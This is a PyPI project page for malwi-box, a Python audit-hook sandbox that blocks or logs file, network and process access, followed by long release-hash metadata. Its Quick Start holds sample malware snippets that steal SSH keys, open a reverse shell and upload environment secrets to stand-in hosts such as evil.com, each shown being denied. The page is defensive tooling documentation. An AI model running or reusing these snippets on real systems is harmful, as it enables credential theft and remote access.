Intercept, audit, and block critical Python operations at runtime
Project description
malwi-box
Intercept, audit, and block critical Python operations at runtime.
Shipped without any dependencies, except pip
Use Cases
- 🔬 Malware analysis - Safely detonate suspicious Python code and observe its behavior
- 📦 Dependency auditing - Discover what file, network, and process access a package actually needs
- 🔒 Runtime protection - Enforce allowlists to block unauthorized operations in production
Warning: This tool is not executed in isolation or virtualization, it runs on your actual machine, kernel and CPU. Use it at your own risk. Still it allows to reduce the blast radius of typical Python malware.
Installation
pip install malwi-box
Or with uv:
uv tool install malwi-box
Quick Start
Credential theft - Malware reads SSH keys and sends them to attacker:
$ malwi-box eval --review "
import os, urllib.request
key = open(os.path.expanduser('~/.ssh/id_rsa')).read()
urllib.request.urlopen('https://evil.com/steal', key.encode())
"
[malwi-box] Read file: /Users/you/.ssh/id_rsa
Approve? [Y/n/i]: n
Denied
Reverse shell - Malware connects to attacker's C2 server:
$ malwi-box eval --review "
import socket, subprocess
s = socket.socket()
s.connect(('attacker.com', 4444))
subprocess.call(['/bin/sh', '-i'], stdin=s.fileno(), stdout=s.fileno())
"
[malwi-box] Connect: attacker.com:4444
Approve? [Y/n/i]: n
Denied
Data exfiltration - Malware encodes and uploads environment secrets:
$ malwi-box eval --review "
import os, base64, urllib.request
secrets = base64.b64encode(str(os.environ).encode())
urllib.request.urlopen('https://evil.com/upload', secrets)
"
[malwi-box] Base64: b64encode (<string>:3)
[malwi-box] HTTP POST: https://evil.com/upload
Approve? [Y/n/i]: n
Denied
Commands
run
Run a Python script or module with sandboxing.
malwi-box run script.py [args...]
malwi-box run --force script.py # log violations without blocking
malwi-box run --review script.py # approve/deny each operation
eval
Execute a Python code string with sandboxing.
malwi-box eval "print('hello')"
malwi-box eval --force "import os; os.system('id')"
malwi-box eval --review "open('/etc/passwd').read()"
pip install
Install pip packages with sandboxing. Most malware packages perform malicious activities at install-time.
malwi-box pip install package
malwi-box pip install package --version 1.2.3
malwi-box pip install -r requirements.txt
malwi-box pip install --review package # approve/deny each operation
venv
Create a sandboxed virtual environment. The venv's Python binaries are replaced with the malwi-box wrapper, so all code executed in the venv is automatically sandboxed.
malwi-box venv # creates .venv
malwi-box venv --path myenv # custom path
After creation, activate and use normally:
source .venv/bin/activate
python script.py # sandboxed automatically
pip install requests # install scripts are sandboxed
Or run code directly without activating:
$ .venv/bin/python -c "import socket; socket.socket().connect(('evil.com', 80))"
[malwi-box] Blocked: Connect: evil.com:80
Environment variables for controlling the sandbox:
| Variable | Description |
|---|---|
MALWI_BOX_ENABLED=0 |
Disable sandbox |
MALWI_BOX_MODE=review |
Interactive approval mode |
MALWI_BOX_MODE=force |
Log violations without blocking |
MALWI_BOX_CONFIG=<path> |
Path to config file (default: .malwi-box.toml) |
MALWI_BOX_MODE=review python script.py # interactive mode
MALWI_BOX_ENABLED=0 python script.py # disable sandbox
config
Manage configuration.
malwi-box config create # creates .malwi-box.toml
malwi-box config create --path FILE
Configuration Reference
Config file: .malwi-box.toml
# File access permissions
allow_read = [
"$PWD", # working directory
"$PYTHON_STDLIB", # Python standard library
"$PYTHON_SITE_PACKAGES", # installed packages
"$HOME/.config/myapp", # specific config directory
"/etc/hosts", # specific file
]
allow_create = [
"$PWD", # allow creating files in workdir
"$TMPDIR", # allow temp files
]
allow_modify = [
"$PWD/data", # only modify files in data/
{ path = "/etc/myapp.conf", hash = "sha256:abc123..." },
]
allow_delete = [
"$TMPDIR", # allow temp cleanup
"$PIP_CACHE", # allow pip cache cleanup
]
# Network permissions
allow_domains = [
"pypi.org", # allow any port
"files.pythonhosted.org",
"api.example.com:443", # restrict to specific port
]
allow_ips = [
"10.0.0.0/8", # CIDR notation
"192.168.1.100:8080", # specific IP:port
"[::1]:443", # IPv6 with port
]
# HTTP URL path restrictions (empty = block all)
allow_http_urls = [
"$PYPI_DOMAINS/*", # use variable for PyPI URLs
"api.example.com/v1/*", # glob pattern for paths
"cdn.example.com/assets/*",
"https://secure.example.com/*", # explicit scheme
]
# HTTP methods allowed (empty = block all)
allow_http_methods = ["$ALL_HTTP_METHODS"] # variable for all standard methods
# Raw socket access (default: false, blocks SOCK_RAW creation)
allow_raw_sockets = false
# Process execution
allow_executables = [
"/usr/bin/git", # allow by path
"$PWD/.venv/bin/*", # glob pattern
{ path = "/usr/bin/curl", hash = "sha256:abc123..." },
]
allow_shell_commands = [
"/usr/bin/git *", # glob pattern matching
"/usr/bin/curl *",
]
# Environment variables (empty = block all)
allow_env_var_reads = ["$SAFE_ENV_VARS"] # variable for safe env vars
Variables
Variables can be used in config values and are expanded at runtime.
| Variable | Expands To |
|---|---|
| Path variables | |
$PWD |
Working directory |
$HOME |
User home directory |
$TMPDIR |
System temp directory (macOS: /var/folders/.../T, Linux: /tmp) |
$CACHE_HOME |
User cache directory (macOS: ~/Library/Caches, Linux: ~/.cache) |
$PIP_CACHE |
pip cache directory |
$VENV |
Active virtualenv root (if $VIRTUAL_ENV is set) |
$PYTHON_STDLIB |
Python standard library |
$PYTHON_SITE_PACKAGES |
Installed packages (purelib) |
$PYTHON_PLATLIB |
Platform-specific packages |
$PYTHON_USER_SITE |
User site-packages (~/.local/lib/pythonX.Y/site-packages) |
$PYTHON_PREFIX |
Python installation prefix |
| List variables | Expand to multiple values |
$PYPI_DOMAINS |
pypi.org, files.pythonhosted.org |
$LOCALHOST |
127.0.0.1, ::1, localhost |
$ALL_HTTP_METHODS |
GET, POST, PUT, DELETE, PATCH, HEAD, OPTIONS |
$SAFE_ENV_VARS |
PATH, HOME, USER, SHELL, TERM, LANG, LC_ALL, LC_CTYPE, PWD, OLDPWD, TMPDIR, TMP, TEMP, PYTHONPATH, VIRTUAL_ENV, CONDA_PREFIX, SOURCE_DATE_EPOCH |
$OS_SYSTEM |
OS system paths (macOS: /System, /Library, /usr/lib, /usr/share; Linux: /usr/lib, /usr/share, /lib, /lib64) |
List variables can be combined with patterns: $PYPI_DOMAINS/* expands to pypi.org/*, files.pythonhosted.org/*.
Allowlist Behavior
All allow_* attributes consistently block when empty. Use variables to document what's being allowed:
| Attribute | Empty Behavior | Default |
|---|---|---|
allow_read |
Block all | $PWD, $PYTHON_PREFIX, $PYTHON_STDLIB, $PYTHON_SITE_PACKAGES, $PYTHON_PLATLIB, $PYTHON_USER_SITE, $PIP_CACHE, $TMPDIR, $CACHE_HOME, $OS_SYSTEM |
allow_create |
Block all | $PWD, $TMPDIR, $PIP_CACHE, $PYTHON_USER_SITE, $PYTHON_SITE_PACKAGES |
allow_modify |
Block all | $TMPDIR, $PIP_CACHE, $PYTHON_USER_SITE, $PYTHON_SITE_PACKAGES |
allow_delete |
Block all | $PWD, $TMPDIR, $PIP_CACHE, $PYTHON_USER_SITE, $PYTHON_SITE_PACKAGES |
allow_domains |
Block all | $PYPI_DOMAINS |
allow_ips |
Block all | $LOCALHOST |
allow_http_urls |
Block all | $PYPI_DOMAINS/* |
allow_http_methods |
Block all | $ALL_HTTP_METHODS |
allow_executables |
Block all | (none) |
allow_shell_commands |
Block all | (none) |
allow_env_var_reads |
Block all | $SAFE_ENV_VARS |
Network Behavior
- Domains in
allow_domainsautomatically permit their resolved IPs - Direct IP access requires explicit
allow_ipsentries - CIDR notation supported for IP ranges
- Port restrictions supported for both domains and IPs
HTTP Request Interception
Supported libraries:
urllib.request(stdlib)http.client(stdlib)urllib3requestshttpxaiohttp
URL allowlisting:
- If
allow_http_urlsis empty, all HTTP requests are blocked - Default uses
$PYPI_DOMAINS/*to allow pip install - Requests must match both domain AND URL pattern
- Scheme (
http://,https://) is optional in patterns - omit to match both - Glob patterns supported for paths:
api.example.com/v1/* - Subdomain matching:
example.com/api/*matchesapi.example.com/api/*
Method restrictions:
- If
allow_http_methodsis empty, all HTTP requests are blocked - Default uses
$ALL_HTTP_METHODSto allow all standard methods - If configured, only listed methods are permitted (e.g.,
["GET", "HEAD"])
Bypass note: Raw socket HTTP requests bypass library hooks but are blocked by default (allow_raw_sockets = false). The socket.connect event still captures all connections at the network level.
Hash Verification
Executables and files can include SHA256 hashes:
allow_executables = [
{ path = "/usr/bin/git", hash = "sha256:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" },
]
Information Events
Some operations are logged for auditing but never blocked. They help identify potentially suspicious behavior during program analysis:
| Event | Description | Example Output | Malware Indicator |
|---|---|---|---|
encoding.base64 |
Base64 encode/decode | Base64: b64encode |
Payload obfuscation |
encoding.hex |
Hex encode/decode | Hex: hexlify |
Payload obfuscation |
encoding.zlib |
zlib compress/decompress | Zlib: compress |
Packed payloads |
encoding.gzip |
gzip compress/decompress | Gzip: compress |
Packed payloads |
encoding.bz2 |
bz2 compress/decompress | Bz2: compress |
Packed payloads |
encoding.lzma |
lzma/xz compress/decompress | LZMA: compress |
Packed payloads |
crypto.cipher |
Low-level cipher ops | Cipher: Encrypt |
Generic encryption |
crypto.fernet |
Fernet encryption | Fernet: encrypt |
Symmetric encryption |
crypto.hmac |
HMAC keyed hashing | HMAC: new |
C2 authentication |
crypto.rsa |
RSA key operations | RSA: generate (2048 bits) |
Ransomware key exchange |
crypto.aes |
AES encryption | AES: init (CBC) |
File encryption |
crypto.chacha20 |
ChaCha20 encryption | ChaCha20: init |
Modern symmetric encryption |
secrets.token |
Secure token generation | SecureRandom: 32 bytes |
Key generation |
pickle.find_class |
Class during unpickling | Pickle: builtins.list |
Code execution |
marshal.loads |
Loading bytecode | Marshal: loads |
Bytecode injection |
shutil.unpack_archive |
Archive extraction | Unpack: file.zip -> /tmp |
Zip bombs, path traversal |
os.putenv |
Set environment variable | Set env var: PATH=/tmp |
Env manipulation |
os.unsetenv |
Unset environment variable | Unset env var: DEBUG |
Env manipulation |
Bypass Protection
- Blocks
sys.addaudithookto prevent registering competing hooks - Blocks
sys.settraceandsys.setprofileto prevent debugger-based evasion - Blocks
ctypes.dlopenby default to prevent loading native code that bypasses hooks
Limitations
- Audit hooks cannot be bypassed from Python, but native code can
- Here it is important to review which executables are allow-listed
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distributions
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file malwi_box-0.0.20.tar.gz.
File metadata
- Download URL: malwi_box-0.0.20.tar.gz
- Upload date:
- Size: 77.4 kB
- Tags: Source
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
234e9905f1d2837360555de2d3ee57f96ad147b3bc649d387a2373c8d81b4dbd
|
|
| MD5 |
672f1f0b3eac11a0d0d2ba7f710f9dc2
|
|
| BLAKE2b-256 |
1e6657eb9fc7710a31912b94c6c8ce331e04431413c35fbcd763cc01e9f470cc
|
Provenance
The following attestation bundles were made for malwi_box-0.0.20.tar.gz:
Publisher:
publish.yml on canvascomputing/malwi-box
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
malwi_box-0.0.20.tar.gz -
Subject digest:
234e9905f1d2837360555de2d3ee57f96ad147b3bc649d387a2373c8d81b4dbd - Sigstore transparency entry: 768502368
- Sigstore integration time:
-
Permalink:
canvascomputing/malwi-box@9ca9c65bc46de5780afc78b9e9d3bcc811105c6f -
Branch / Tag:
refs/tags/0.0.20 - Owner: https://github.com/canvascomputing
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
publish.yml@9ca9c65bc46de5780afc78b9e9d3bcc811105c6f -
Trigger Event:
push
-
Statement type:
File details
Details for the file malwi_box-0.0.20-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl.
File metadata
- Download URL: malwi_box-0.0.20-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl
- Upload date:
- Size: 116.3 kB
- Tags: CPython 3.13, manylinux: glibc 2.17+ x86-64, manylinux: glibc 2.5+ x86-64
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
0bd965198bc642b27766d1512c929ec5a2ef575af2d9d43039cc7b3572206dfc
|
|
| MD5 |
c2764a72d86d1a66573758769b87b8e9
|
|
| BLAKE2b-256 |
325f39199bf7a90c19853b1d659c52faa1ec4edc8b84f6559a95f9dc381385b1
|
Provenance
The following attestation bundles were made for malwi_box-0.0.20-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl:
Publisher:
publish.yml on canvascomputing/malwi-box
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
malwi_box-0.0.20-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl -
Subject digest:
0bd965198bc642b27766d1512c929ec5a2ef575af2d9d43039cc7b3572206dfc - Sigstore transparency entry: 768502370
- Sigstore integration time:
-
Permalink:
canvascomputing/malwi-box@9ca9c65bc46de5780afc78b9e9d3bcc811105c6f -
Branch / Tag:
refs/tags/0.0.20 - Owner: https://github.com/canvascomputing
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
publish.yml@9ca9c65bc46de5780afc78b9e9d3bcc811105c6f -
Trigger Event:
push
-
Statement type:
File details
Details for the file malwi_box-0.0.20-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl.
File metadata
- Download URL: malwi_box-0.0.20-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl
- Upload date:
- Size: 111.3 kB
- Tags: CPython 3.13, manylinux: glibc 2.17+ i686, manylinux: glibc 2.5+ i686
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
8de69791307af6441c8bf48440bec6abcc8d4e11ed2a8dc38f24011e9bd397b8
|
|
| MD5 |
247097a8f3b9fb2b1040891b4222c69b
|
|
| BLAKE2b-256 |
4d0a06060f7f65e4ab99040035e7630ebf1a717bf6e7295f4d8b65ce722741ea
|
Provenance
The following attestation bundles were made for malwi_box-0.0.20-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl:
Publisher:
publish.yml on canvascomputing/malwi-box
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
malwi_box-0.0.20-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl -
Subject digest:
8de69791307af6441c8bf48440bec6abcc8d4e11ed2a8dc38f24011e9bd397b8 - Sigstore transparency entry: 768502417
- Sigstore integration time:
-
Permalink:
canvascomputing/malwi-box@9ca9c65bc46de5780afc78b9e9d3bcc811105c6f -
Branch / Tag:
refs/tags/0.0.20 - Owner: https://github.com/canvascomputing
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
publish.yml@9ca9c65bc46de5780afc78b9e9d3bcc811105c6f -
Trigger Event:
push
-
Statement type:
File details
Details for the file malwi_box-0.0.20-cp313-cp313-macosx_11_0_arm64.whl.
File metadata
- Download URL: malwi_box-0.0.20-cp313-cp313-macosx_11_0_arm64.whl
- Upload date:
- Size: 64.0 kB
- Tags: CPython 3.13, macOS 11.0+ ARM64
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
29a42310ffcbe723cfbdd2b0444d4843db80833a3f35d4ea5033fbcb0c4f9453
|
|
| MD5 |
a02bc473eb17ec85b6308d1ac361b5cf
|
|
| BLAKE2b-256 |
55dcb465f39ca613c84a6e0cb54b395ac66fabe74b8951cc91e6c8ad9c30c7e2
|
Provenance
The following attestation bundles were made for malwi_box-0.0.20-cp313-cp313-macosx_11_0_arm64.whl:
Publisher:
publish.yml on canvascomputing/malwi-box
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
malwi_box-0.0.20-cp313-cp313-macosx_11_0_arm64.whl -
Subject digest:
29a42310ffcbe723cfbdd2b0444d4843db80833a3f35d4ea5033fbcb0c4f9453 - Sigstore transparency entry: 768502395
- Sigstore integration time:
-
Permalink:
canvascomputing/malwi-box@9ca9c65bc46de5780afc78b9e9d3bcc811105c6f -
Branch / Tag:
refs/tags/0.0.20 - Owner: https://github.com/canvascomputing
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
publish.yml@9ca9c65bc46de5780afc78b9e9d3bcc811105c6f -
Trigger Event:
push
-
Statement type:
File details
Details for the file malwi_box-0.0.20-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl.
File metadata
- Download URL: malwi_box-0.0.20-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl
- Upload date:
- Size: 113.6 kB
- Tags: CPython 3.12, manylinux: glibc 2.17+ x86-64, manylinux: glibc 2.5+ x86-64
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
40f73290ef57d46aa0c73338c16bc73099f194620d501c6e29d96903cc622d15
|
|
| MD5 |
192805c3562419d803c68f384e13e5da
|
|
| BLAKE2b-256 |
9e7e037c1a41f56356e94d44b3a755f9267244ce98e210398468097956cb6234
|
Provenance
The following attestation bundles were made for malwi_box-0.0.20-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl:
Publisher:
publish.yml on canvascomputing/malwi-box
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
malwi_box-0.0.20-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl -
Subject digest:
40f73290ef57d46aa0c73338c16bc73099f194620d501c6e29d96903cc622d15 - Sigstore transparency entry: 768502382
- Sigstore integration time:
-
Permalink:
canvascomputing/malwi-box@9ca9c65bc46de5780afc78b9e9d3bcc811105c6f -
Branch / Tag:
refs/tags/0.0.20 - Owner: https://github.com/canvascomputing
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
publish.yml@9ca9c65bc46de5780afc78b9e9d3bcc811105c6f -
Trigger Event:
push
-
Statement type:
File details
Details for the file malwi_box-0.0.20-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl.
File metadata
- Download URL: malwi_box-0.0.20-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl
- Upload date:
- Size: 108.6 kB
- Tags: CPython 3.12, manylinux: glibc 2.17+ i686, manylinux: glibc 2.5+ i686
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
6aee02acb7084931537575efce44657c30faf9799984a2ac7ed762b66acd1a45
|
|
| MD5 |
2cf17c30e16248c6adc0e32a43428dd9
|
|
| BLAKE2b-256 |
1787fb18ff95b25bdae7a0ee9073954e8143fbfc3fbcb044c3a9ae31261154a2
|
Provenance
The following attestation bundles were made for malwi_box-0.0.20-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl:
Publisher:
publish.yml on canvascomputing/malwi-box
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
malwi_box-0.0.20-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl -
Subject digest:
6aee02acb7084931537575efce44657c30faf9799984a2ac7ed762b66acd1a45 - Sigstore transparency entry: 768502376
- Sigstore integration time:
-
Permalink:
canvascomputing/malwi-box@9ca9c65bc46de5780afc78b9e9d3bcc811105c6f -
Branch / Tag:
refs/tags/0.0.20 - Owner: https://github.com/canvascomputing
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
publish.yml@9ca9c65bc46de5780afc78b9e9d3bcc811105c6f -
Trigger Event:
push
-
Statement type:
File details
Details for the file malwi_box-0.0.20-cp312-cp312-macosx_11_0_arm64.whl.
File metadata
- Download URL: malwi_box-0.0.20-cp312-cp312-macosx_11_0_arm64.whl
- Upload date:
- Size: 64.0 kB
- Tags: CPython 3.12, macOS 11.0+ ARM64
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
b1b00c939432e27c7eb90fc7ea58c40c4f80f16259244b67f3716c711821833a
|
|
| MD5 |
13a482a47dfdcbac5deeaa879262f7c7
|
|
| BLAKE2b-256 |
9d0125101787609a3fcb0d26b34761ffb24d4c73df9a06b6a7664a7aa016f178
|
Provenance
The following attestation bundles were made for malwi_box-0.0.20-cp312-cp312-macosx_11_0_arm64.whl:
Publisher:
publish.yml on canvascomputing/malwi-box
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
malwi_box-0.0.20-cp312-cp312-macosx_11_0_arm64.whl -
Subject digest:
b1b00c939432e27c7eb90fc7ea58c40c4f80f16259244b67f3716c711821833a - Sigstore transparency entry: 768502412
- Sigstore integration time:
-
Permalink:
canvascomputing/malwi-box@9ca9c65bc46de5780afc78b9e9d3bcc811105c6f -
Branch / Tag:
refs/tags/0.0.20 - Owner: https://github.com/canvascomputing
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
publish.yml@9ca9c65bc46de5780afc78b9e9d3bcc811105c6f -
Trigger Event:
push
-
Statement type:
File details
Details for the file malwi_box-0.0.20-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl.
File metadata
- Download URL: malwi_box-0.0.20-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl
- Upload date:
- Size: 114.4 kB
- Tags: CPython 3.11, manylinux: glibc 2.17+ x86-64, manylinux: glibc 2.5+ x86-64
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
60a95062a6b075639de1ae1129e5eaf96a3bd8c349a79b57e949b654396316e1
|
|
| MD5 |
a3de813ce1542c403eec75d7b4501c50
|
|
| BLAKE2b-256 |
b91a11d21dbca3273e44eb284621c8085ac9b3ce776415c831f63f719d5455ef
|
Provenance
The following attestation bundles were made for malwi_box-0.0.20-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl:
Publisher:
publish.yml on canvascomputing/malwi-box
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
malwi_box-0.0.20-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl -
Subject digest:
60a95062a6b075639de1ae1129e5eaf96a3bd8c349a79b57e949b654396316e1 - Sigstore transparency entry: 768502379
- Sigstore integration time:
-
Permalink:
canvascomputing/malwi-box@9ca9c65bc46de5780afc78b9e9d3bcc811105c6f -
Branch / Tag:
refs/tags/0.0.20 - Owner: https://github.com/canvascomputing
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
publish.yml@9ca9c65bc46de5780afc78b9e9d3bcc811105c6f -
Trigger Event:
push
-
Statement type:
File details
Details for the file malwi_box-0.0.20-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl.
File metadata
- Download URL: malwi_box-0.0.20-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl
- Upload date:
- Size: 109.6 kB
- Tags: CPython 3.11, manylinux: glibc 2.17+ i686, manylinux: glibc 2.5+ i686
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
bde8dd16379e9324ee5ab2bc06d6160798409052024f35517716d6e09c548a9c
|
|
| MD5 |
a0b3874d080febf2e4f9f75ca02eda33
|
|
| BLAKE2b-256 |
95fe048cd4aee1e5f79e231854e0dfaeff29ae3d3082a4e8f8334e03b3bd962c
|
Provenance
The following attestation bundles were made for malwi_box-0.0.20-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl:
Publisher:
publish.yml on canvascomputing/malwi-box
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
malwi_box-0.0.20-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl -
Subject digest:
bde8dd16379e9324ee5ab2bc06d6160798409052024f35517716d6e09c548a9c - Sigstore transparency entry: 768502374
- Sigstore integration time:
-
Permalink:
canvascomputing/malwi-box@9ca9c65bc46de5780afc78b9e9d3bcc811105c6f -
Branch / Tag:
refs/tags/0.0.20 - Owner: https://github.com/canvascomputing
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
publish.yml@9ca9c65bc46de5780afc78b9e9d3bcc811105c6f -
Trigger Event:
push
-
Statement type:
File details
Details for the file malwi_box-0.0.20-cp311-cp311-macosx_11_0_arm64.whl.
File metadata
- Download URL: malwi_box-0.0.20-cp311-cp311-macosx_11_0_arm64.whl
- Upload date:
- Size: 64.2 kB
- Tags: CPython 3.11, macOS 11.0+ ARM64
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
db6fd97b0dfa39812b65b162820d092547ec2ac95e7d0f28d981f19de4ae458f
|
|
| MD5 |
93955956ab6340ef3408e76b217344af
|
|
| BLAKE2b-256 |
8b47647b540ce8f5e4d97437131ea59bc00f8535bf92f520575bfdd626220eaa
|
Provenance
The following attestation bundles were made for malwi_box-0.0.20-cp311-cp311-macosx_11_0_arm64.whl:
Publisher:
publish.yml on canvascomputing/malwi-box
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
malwi_box-0.0.20-cp311-cp311-macosx_11_0_arm64.whl -
Subject digest:
db6fd97b0dfa39812b65b162820d092547ec2ac95e7d0f28d981f19de4ae458f - Sigstore transparency entry: 768502407
- Sigstore integration time:
-
Permalink:
canvascomputing/malwi-box@9ca9c65bc46de5780afc78b9e9d3bcc811105c6f -
Branch / Tag:
refs/tags/0.0.20 - Owner: https://github.com/canvascomputing
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
publish.yml@9ca9c65bc46de5780afc78b9e9d3bcc811105c6f -
Trigger Event:
push
-
Statement type:
File details
Details for the file malwi_box-0.0.20-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl.
File metadata
- Download URL: malwi_box-0.0.20-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl
- Upload date:
- Size: 114.3 kB
- Tags: CPython 3.10, manylinux: glibc 2.17+ x86-64, manylinux: glibc 2.5+ x86-64
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
b24f24ac64bdf633af34ff1e5deeec97763faf22ba1bb386649061c620c5d16c
|
|
| MD5 |
ab934b41cb9e09e8866dd6c917274dbd
|
|
| BLAKE2b-256 |
920a49846f4b2d0f02a35a6dd9851aa5d337675dd8198e35c38137b945a5d7a5
|
Provenance
The following attestation bundles were made for malwi_box-0.0.20-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl:
Publisher:
publish.yml on canvascomputing/malwi-box
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
malwi_box-0.0.20-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl -
Subject digest:
